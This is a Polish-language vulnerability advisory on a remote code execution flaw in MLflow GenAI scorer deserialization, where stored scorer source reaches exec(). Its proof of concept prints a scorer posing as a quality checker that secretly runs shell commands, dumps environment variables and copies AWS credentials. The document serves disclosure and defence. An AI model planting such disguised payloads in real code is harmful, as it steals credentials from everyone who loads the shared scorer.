Autor: Evan Harris
Ryzyko: Wysokie
Komponent, którego dotyczy problem: scorery GenAI MLflow (mlflow/mlflow)

W skrócie

Mechanizm deserializacji scorerów GenAI w MLflow zawierał podatność umożliwiającą zdalne wykonanie kodu. Narzędzie recreate_function() w pliku scorer_utils.py przekazywało dane scorera kontrolowane przez atakującego (przechowywane w bazie danych śledzenia MLflow) bezpośrednio do funkcji exec() języka Python. Złośliwy scorer zarejestrowany przez jednego użytkownika wykonuje dowolny kod na maszynie każdego, kto później go pobierze i uruchomi, co umożliwia atak na łańcuch dostaw obejmujący cały zespół ML. Zgłosiliśmy problem opiekunom MLflow, którzy naprawili go, ograniczając rejestrację i ładowanie niestandardowych scorerów do środowisk kontrolowanych przez Databricks. Użytkownicy powinni zaktualizować do wersji MLflow 3.5.2 lub nowszej.

Osobny problem w MLflow, ujawniony tego samego dnia, opisuje Eksfiltracja i zniszczenie danych w MLflow z powodu braku walidacji Origin (DNS rebinding).

Kontekst

Moduł GenAI w MLflow pozwala zespołom definiować scorery, czyli funkcje języka Python, które oceniają jakość wyników LLM (kontrole długości, bezpieczeństwo treści, formatowanie i tak dalej). Scorery można napisać za pomocą dekoratora @scorer, zarejestrować je względem eksperymentu i później pobrać po nazwie za pomocą get_scorer(), aby współpracownicy mogli ponownie wykorzystać wspólną ocenę.

Aby to działało, MLflow serializuje bazową funkcję scorera i zapisuje ją w bazie danych śledzenia. Po pobraniu scorera MLflow rekonstruuje funkcję z tych zapisanych danych. Krok rekonstrukcji jest miejscem, w którym tkwiła podatność: zserializowany kod źródłowy był odtwarzany przez wywołanie funkcji exec() języka Python, która wykonuje dowolny przekazany jej kod. Ponieważ zapisane dane są w pełni kontrolowane przez atakującego, każdy, kto mógł zarejestrować scorer, mógł umieścić kod, który zostałby wykonany wewnątrz procesu innego użytkownika.

Przegląd

Podatność jest wyzwalana wzdłuż pojedynczego łańcucha wywołań deserializacji, który kończy się w exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

Łańcuch wywołań jest następujący:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Scenariusz ataku

  1. Atakujący pisze scorer, który wygląda wiarygodnie (“weryfikator jakości” z przekonującym docstringiem), ale ukrywa złośliwy ładunek w ciele funkcji.
  2. Atakujący dystrybuuje scorer kanałem, któremu ofiara ufa: pakietem PyPI, zespołowym repozytorium GitHub lub współdzielonym modułem języka Python.
  3. Ofiara importuje scorer i rejestruje go w MLflow. Zserializowana funkcja zostaje zapisana w bazie danych śledzenia.
  4. Później, być może na innej maszynie, przez innego członka zespołu, dni lub tygodnie potem, ktoś pobiera scorer za pomocą get_scorer() i go używa.
  5. Podczas deserializacji recreate_function() wywołuje exec() na zapisanym kodzie źródłowym. Ukryty ładunek uruchamia się z pełnymi uprawnieniami procesu ofiary.

Ponieważ wyzwalacz jest odseparowany w czasie i między użytkownikami od rejestracji, atak jest cichy: pojedynczy złośliwy scorer zarejestrowany raz może skompromitować każdego w zespole, kto pobierze go później.

Proof of Concept

Poniższy złośliwy scorer podaje się za weryfikator jakości wyników. Ciało zawiera ładunek, który tworzy plik znacznika, wyprowadza zmienne środowiskowe i zbiera poświadczenia AWS, zanim zwróci wiarygodny wynik, aby uniknąć podejrzeń:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

Ofiara pobiera współdzielony scorer tak, jak zwykle:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

A następnie go używa:

result = scorer(outputs="This is test output to evaluate")

W tym momencie uruchamia się RCE, a ładunek wykonuje się w procesie ofiary.

Skutki

W zależności od ładunku niesionego w niezaufanych danych scorera atakujący może:

  • Wykonać dowolny kod języka Python z pełnymi uprawnieniami procesu ofiary
  • Wyprowadzić wrażliwe dane, takie jak poświadczenia, zmienne środowiskowe i kod źródłowy
  • Zebrać poświadczenia z typowych lokalizacji (AWS, Docker, SSH)
  • Ustanowić trwałość na maszynie ofiary
  • Przeprowadzić ruch boczny i rozpoznanie sieci

Skutek jest wzmocniony przez charakter podatności związany z łańcuchem dostaw: pojedynczy złośliwy scorer zarejestrowany przez jednego członka zespołu może skompromitować każdego użytkownika, który pobierze go później, przy czym wyzwolenie następuje cicho długo po rejestracji.

Odpowiedź MLflow

Po tym, jak ujawniliśmy problem w ramach skoordynowanego procesu ujawniania MLflow, opiekunowie zajęli się nim w pull requeście #18493.

Zamiast próbować izolować w piaskownicy lub walidować zdeserializowany kod źródłowy, opiekunowie usunęli niebezpieczną możliwość poza kontrolowanymi środowiskami: rejestracja i ładowanie niestandardowych scorerów opartych na kodzie są teraz ograniczone do środowisk śledzenia Databricks, gdzie zbiór użytkowników mogących przesyłać scorery jest kontrolowany. Użytkownicy korzystający z innych backendów śledzenia są kierowani ku bezpieczniejszym alternatywom, takim jak wbudowane scorery i scorery oparte na make_judge(), które nie wymagają wykonywania dowolnego kodu podczas deserializacji.

Poprawka została wydana w MLflow 3.5.2.

Zalecenia

Dla użytkowników końcowych

  • Zaktualizuj do wersji MLflow 3.5.2 lub nowszej.
  • Rejestruj i pobieraj niestandardowe scorery wyłącznie ze źródeł, którym w pełni ufasz.
  • Traktuj dane scorera w bazie danych śledzenia jak niezaufany kod, a nie bezwładne dane. Każdy, kto może zapisywać do magazynu śledzenia, może uruchomić kod u każdego konsumenta.
  • Preferuj wbudowane scorery lub scorery make_judge(), które nie wykonują dowolnego kodu podczas deserializacji.
  • Ogranicz dostęp do zapisu we współdzielonych bazach danych śledzenia i przeglądaj scorery przed ich ponownym użyciem w zespole.

Kalendarium

Data Zdarzenie
20 października 2025 Podatność zgłoszona opiekunom MLflow w ramach skoordynowanego ujawnienia (issue #18404)
24 października 2025 MLflow scala poprawkę (PR #18493), wydaną w v3.5.2
8 stycznia 2026 huntr oznaczył problem jako duplikat
8 czerwca 2026 Publiczne ujawnienie